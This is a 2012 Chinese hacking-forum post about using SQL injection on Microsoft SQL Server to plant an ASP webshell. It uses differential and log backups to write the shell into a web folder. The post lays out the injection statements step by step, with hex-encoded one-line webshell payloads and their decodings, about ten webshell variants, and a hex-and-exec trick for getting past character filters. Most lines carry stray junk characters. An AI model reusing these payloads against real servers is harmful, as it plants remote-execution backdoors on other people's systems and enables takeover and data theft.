中国网络渗透测试联盟

标题: MSsql差异备份总结 [打印本页]

作者: admin    时间: 2012-9-13 17:21
标题: MSsql差异备份总结
差异备份的流程大概这样:$ e0 e6 H7 v9 T7 s* y0 u! \7 [
1.完整备份一次(保存位置当然可以改)# O- ^7 {( v: }' \) y; ]3 f( H
backup database 库名 to disk = 'c:\ddd.bak';--% S* b: P$ L7 c* k6 S% ~+ x
! M( E  Q( S. V- ^2 b
2.创建表并插曲入数据
; @; k2 j- w: Jcreate table [dbo].[dtest] ([cmd] [image]);& q9 [1 w7 Z6 @1 l, j, J; k% G4 m& l
insert into dtest(cmd) values(0x3C25657865637574652872657175657374282261222929253E);--& O+ E& M) X3 `
! ], M/ x1 d4 M- ~: D$ o
3.进行差异备份  C; C2 }, R' Z! [, A, X
backup database 库名 to disk='目标位置\d.asp' WITH DIFFERENTIAL,FORMAT;--
: {2 B: }$ O6 w9 U% c0 F! ~2 h; |6 x( ^1 n. @4 m" C0 ?
上面
! U" a6 I" v& {6 a/ ~4 ]. D0 h0x3C25657865637574652872657175657374282261222929253E
' Z- ]: a& j% x% T5 g就是一句话木马的内容:<%execute(request("a"))%>
& u* J) z9 I/ B7 r% K
/ s$ U# x6 K; m- ]# b  G0 u2 a如下是网上常见的差异备份代码,思路一样!3 V5 K9 A0 t2 u" y( Y# [
===================================================
4 G% e! x0 }: [* `利用差异备份提高提高backupwebshell的成功率,减少文件大小. g: K  X2 u& f  v  B$ u$ l
步骤:' N2 J3 I( b+ f+ s5 W
" c$ R+ L7 F1 o% q9 t1 t( m
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s  --备份数据库. W+ l0 D5 o; U- [7 ^
/ g0 C& ~, o4 `. f1 Q' @
create table [dbo].[xiaolu] ([cmd] [image]);  -- 创建一个表
: Z- n; G7 W, D" \8 Z8 ~" O2 v2 G2 W2 H/ R8 A

- Y9 b& o1 L( \+ Tinsert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)  --将一句话木马的16进制字符插入到表中
. Y5 |9 |: ~, ~4 L8 s" ^; _9 ]/ f: m! T0 H. S
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL,FORMAT  --对数据库实行差异备份  G4 o% |% g1 l7 {; d  J) v% s* `! r2 ?

  c# W6 {. I! mdrop table [xiaolu]  -- 删除此表。
  @- C7 i# i& |$ G( q/ g
& v# N; l5 o, E6 `+ a3 R- w. ]+ [0x77006F006B0061006F002E00620061006B00为wokao.bak
1 O' x- c+ ?1 K/ D) d0x3C25657865637574652872657175657374282261222929253E是<%execute(request("a"))%>" P9 w: T9 X; v
0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000是e:\web\wokao.asp
- i5 j) T- i  E" j4 Z" T9 B% F* r5 T$ m* D
声明:方法不是我想的,我只是写工具,默认得到shell是' e+ Z/ @7 Q- d6 \
<%execute(request("a"))%>
) m# v6 B! D% z" |5 m===============================================================
/ V6 X  C! r, m# P5 P) i! A3 l7 q- b. ^& s+ o# Z
我发现上面代码,有时会无效,而直接用
# _) p7 O, y9 U7 {
, a- Z. {" y  h' a+ h6 ^backup database 库名 to disk = 'c:\ddd.bak'* H; W( V- I+ {7 ~7 `7 v4 k
3 Q8 v) v0 [/ A0 N
create table [dbo].[dtest] ([cmd] [image]);9 a4 ~) H- m) M) P& D5 r
( X5 P! e+ M3 F' V
insert into dtest(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
9 {" F" r7 ]& d6 D1 N" @/ ?
, y5 M8 M3 n. E. W% ]" [backup database 库名 to disk='目标位置\d.asp' WITH DIFFERENTIAL,FORMAT;--
0 r# P: Q1 q) q
$ L3 j) P' d- O; C却可以成功,所以把最原始的方法写出来!思路是前人所创,这不说大家也知道的!: f  @$ U% v' C9 p6 G2 l1 K
7 Z. b6 g0 }; V( L; g+ R
库名 必须要有效的库名,一般注入工具都可以得到!如果某站过滤 "‘",就要把字符内容转为数值了!) y- m8 C- r& Y8 A( p! J% Z+ r1 X: g
4 g" I& b" L/ a7 v+ l9 M* |
网上还有log增量备份的,我也把他记录一下9 ]4 K7 E( @. z5 y
=====================================================
5 x; s: C5 o# ^2 h1 R$ u& G另一种log增量备份技术:9 a( W! i& U; t2 T. ~! k8 V

! \3 A% c" s4 [6 ]';alter database null set RECOVERY FULL--
. U" u+ P' o+ V3 X8 o
5 T* @6 k6 {, ?. u5 b( ^8 s+ N: n0 H: I';create table cmd (a image)--
: y( R% O$ u! @% M* F1 B
3 {( t% E) |; r+ ?3 Q! |';backup log null to disk = 'f:\cmd' with init--
$ }2 d# z1 \9 u" l. i% b+ r8 u
- w" N  i9 {0 s9 X: V';insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253EDA)--
+ [4 e; K. u) G4 k: _; m3 t! e3 C+ c  d0 B) b
';backup log null to disk = '备份路径'--$ A7 |$ z) F9 [3 I4 `6 f3 M
4 m$ _( i+ ~' i" G5 y
';drop table cmd--
- Q6 \4 Z, l3 t/ E: V, _
+ f& B: j1 I( ^$ }6 s';alter database XXX set RECOVERY SIMPLE--7 H. G# O  i  v* ~2 q3 ?# @0 r8 D

. C; P; `' t6 ?: M+ L+ {- [2 n; n( iPS:0x3C2565786563757465287265717565737428226122292
0 g3 J3 K1 F' `, J9253EDA 是一句话小马16进制转来的
0 _7 O- a. D* C# s9 w9 A
+ ~. m: K( y3 \说到一句话马,还可以有这么几种写法:1 Y7 m: {6 v4 _7 X

4 A+ s$ I. ~0 k  K3 Za)<%%25Execute(request("a"))%%25>
) Q& `! Y: _6 a; w$ ~9 m0 rb)<%Execute(request("a"))%>: m' D; H7 r# h0 |* @
c)%><%execute request("a")%><%
# w4 C/ b2 x# l1 z5 ld)<script language=VBScript runat=server>execute request("a")</script>
% A  v1 c" f+ P' e1 te)<%25Execute(request("a"))%25>
( B" u$ a. M" Of)<%eval(request("a")):response.end%> 备分专用一句话   (也就是插入一句话后所有的代码都无效,在一句话这里打止)
) K5 w1 x) n; M, r* x4 |4 y2 Gg)"%><%eval (request (chr(309)))%><%'" 网站配置版权信息插马专用一句话
; j! T9 f# t  y2 G, mh)<%On Error Resume Next:response.clear:execute request("value"):response.End%># \0 N% @8 e, y8 H5 V& ]9 u
I)<%eval request(0)%>6 P, i5 I9 ]3 x9 `- A
J)"%><%Eval Request(0)%> 网站配置版权信息插马专用一句话( E0 ^5 f7 y' r3 {3 o
2 z; r2 n' n3 b" ]
============================================= ' A% n* @3 B5 H& L4 b5 ^

3 b  A; l7 J. J- s0 T7 o当遇到差备过滤了/时用这个语句代替% f, H9 q9 f1 D
# \; o4 B# k- c0 S: E' e
declare @a varchar(1024);set @a=cast(0x65786563206D6D as varchar(1024));exec (@a);--$ G, O; _* }9 O( X" S

7 ]# a  I5 X8 M6 `0 D) P把要执行的语句转16进制然后用exec执行( ~- @; A3 ]: n+ Q

  f1 ^3 Z1 |7 J  B$ X  ]' I
5 V7 }* y* t9 s4 w% U. v6 ]6 j减少备份文件大小方法如下:
* j3 K/ ]' `# ~! q/ y
( S. P, u2 j1 s" X( o5 W总的来说就是那么简单几句,下面以备份数据库model为例子
+ X: ], w5 C+ q2 @, I- X& [17 O, x: Y8 y8 I% p2 O; w0 n* {3 [
id=1;use model create table cmd(str image);insert into cmd(str) values ('<%25execute(request("a"))%25>')5 |+ G8 h- |, h! X) Q! H
2
* F6 O8 Y( w$ T2 j5 w  tid=1;backup database model to disk='你的路径‘ with differential,format;--
- g0 c# E; r- I  [9 l9 R/ ?3 K9 {' j2 F5 h2 i" `; J; ?
. ~1 [. A. X2 k" V$ i0 a

/ {2 N2 l5 n6 u+ c! ySQL语句清理日志
: }% J" {; E/ y2 e9 S注:test为数据库名 ; J1 T8 U2 M2 x3 z

  i' u5 D/ ^. I--清空日志 4 G) L& y& w" `! a! D( h3 i4 {
DUMP TRANSACTION test WITH NO_LOG8 _7 Q( t; ^: ?; e1 f

/ H, z' c; T! Y8 B' e--截断事务日志 8 _' C4 U  x, g
BACKUP LOG test WITH NO_LOG
& {3 B, L/ B3 w% Q4 W5 w" M* y/ a# G8 C1 M1 w$ Y
--收缩数据库 8 \9 K9 U* Q( J
DBCC SHRINKDATABASE(test) 3 u( s5 \9 q! q8 u+ M' t+ s9 p6 i

, R" k- }1 u$ C2 }9 O--收缩指定数据文件,1是文件号,可以通过这个语句查询到
8 X+ Z! r9 `9 b1 A9 b7 U" V) |' r5 o# [Select * from sysfiles DBCC SHRINKFILE(1)
* W& {9 X8 V8 i& [8 Q& x2 E( x5 s9 A' s2 E
--以后能自动收缩 # s1 s6 ?5 _/ Y" y/ m
EXEC sp_dboption 'test', 'autoshrink', 'TRUE'




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2